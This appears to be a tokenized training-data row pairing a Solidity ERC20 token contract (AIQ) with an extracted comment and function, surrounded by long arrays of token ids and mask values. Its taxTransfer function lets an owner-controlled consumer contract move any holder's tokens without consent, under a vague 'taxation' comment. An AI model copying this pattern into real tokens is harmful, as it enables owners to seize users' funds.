0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
10833,
55,
1673,
5157,
1435,
1338,
5541,
3903,
95,
203,
3639,
2583,
12,
2629,
18,
5508,
405,
679,
30746,
16,
315,
87,
5349,
353,
486,
4375,
8863,
203,
3639,
2254,
5034,
2430,
382,
8924,
273,
467,
654,
39,
3462,
12,
2316,
1887,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
2583,
12,
7860,
382,
8924,
405,
374,
16,
315,
2135,
16804,
1673,
2430,
316,
6835,
8863,
203,
3639,
2583,
12,
45,
654,
39,
3462,
12,
2316,
1887,
2934,
13866,
12,
8443,
16,
2430,
382,
8924,
3631,
315,
13866,
434,
1147,
2535,
8863,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract Consumer is Ownable {
address public hookableTokenAddress;
modifier onlyHookableTokenAddress {
require(msg.sender == hookableTokenAddress);
_;
}
function setHookableTokenAddress(address _hookableTokenAddress) onlyOwner {
hookableTokenAddress = _hookableTokenAddress;
}
function onMint(address _sender, address _to, uint256 _amount) onlyHookableTokenAddress {
}
function onBurn(address _sender, uint256 _value) onlyHookableTokenAddress {
}
function onTransfer(address _sender, address _to, uint256 _value) onlyHookableTokenAddress {
}
function onTransferFrom(address _sender, address _from, address _to, uint256 _value) onlyHookableTokenAddress {
}
function onApprove(address _sender, address _spender, uint256 _value) onlyHookableTokenAddress {
}
function onIncreaseApproval(address _sender, address _spender, uint _addedValue) onlyHookableTokenAddress {
}
function onDecreaseApproval(address _sender, address _spender, uint _subtractedValue) onlyHookableTokenAddress {
}
function onTaxTransfer(address _from, uint _tokensAmount) onlyHookableTokenAddress {
}
}
contract HookableToken is MintableToken, PausableToken, BurnableToken {
Consumer public consumerAddress;
constructor(address _consumerAddress) public {
consumerAddress = Consumer(_consumerAddress);
}
modifier onlyConsumerAddress(){
require(msg.sender == address(consumerAddress));
_;
}
function setConsumerAddress(address _newConsumerAddress) public onlyOwner {
require(_newConsumerAddress != address(0));
consumerAddress = Consumer(_newConsumerAddress);
}
function mint(address _to, uint256 _amount) public returns (bool){
consumerAddress.onMint(msg.sender,_to, _amount);
return super.mint(_to, _amount);
}
function burn(uint256 _value) public {
consumerAddress.onBurn(msg.sender, _value);
return super.burn(_value);
}
function transfer(address _to, uint256 _value) public returns (bool) {
consumerAddress.onTransfer(msg.sender, _to, _value);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
consumerAddress.onTransferFrom(msg.sender, _from, _to, _value);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
consumerAddress.onApprove(msg.sender, _spender, _value);
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
consumerAddress.onIncreaseApproval(msg.sender, _spender, _addedValue);
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
consumerAddress.onDecreaseApproval(msg.sender, _spender, _subtractedValue);
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title ICOToken
* @dev Very simple ERC20 Token example.
* `StandardToken` functions.
*/
contract ICOToken is MintableToken, PausableToken, HookableToken {
string public constant name = "Artificial Intelligence Quotient";
string public constant symbol = "AIQ";
uint8 public constant decimals = 18;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor(address _consumerAdr) public
HookableToken(_consumerAdr){
}
//This function is used for taxation purposes and will be used after specific conditions
function taxTransfer(address _from, address _to, uint256 _tokensAmount) public onlyConsumerAddress returns (bool) {
require(_from != address(0));
require(_to != address(0));
balances[_from] = balances[_from].sub(_tokensAmount);
balances[_to] = balances[_to].add(_tokensAmount);
consumerAddress.onTaxTransfer(_from, _tokensAmount);
return true;
}
}
|
This function is used for taxation purposes and will be used after specific conditions
|
function taxTransfer(address _from, address _to, uint256 _tokensAmount) public onlyConsumerAddress returns (bool) {
require(_from != address(0));
require(_to != address(0));
balances[_from] = balances[_from].sub(_tokensAmount);
balances[_to] = balances[_to].add(_tokensAmount);
consumerAddress.onTaxTransfer(_from, _tokensAmount);
return true;
}
| 6,739,118 |
[
1,
4625,
348,
7953,
560,
30,
1220,
445,
353,
1399,
364,
5320,
367,
13694,
471,
903,
506,
1399,
1839,
2923,
4636,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
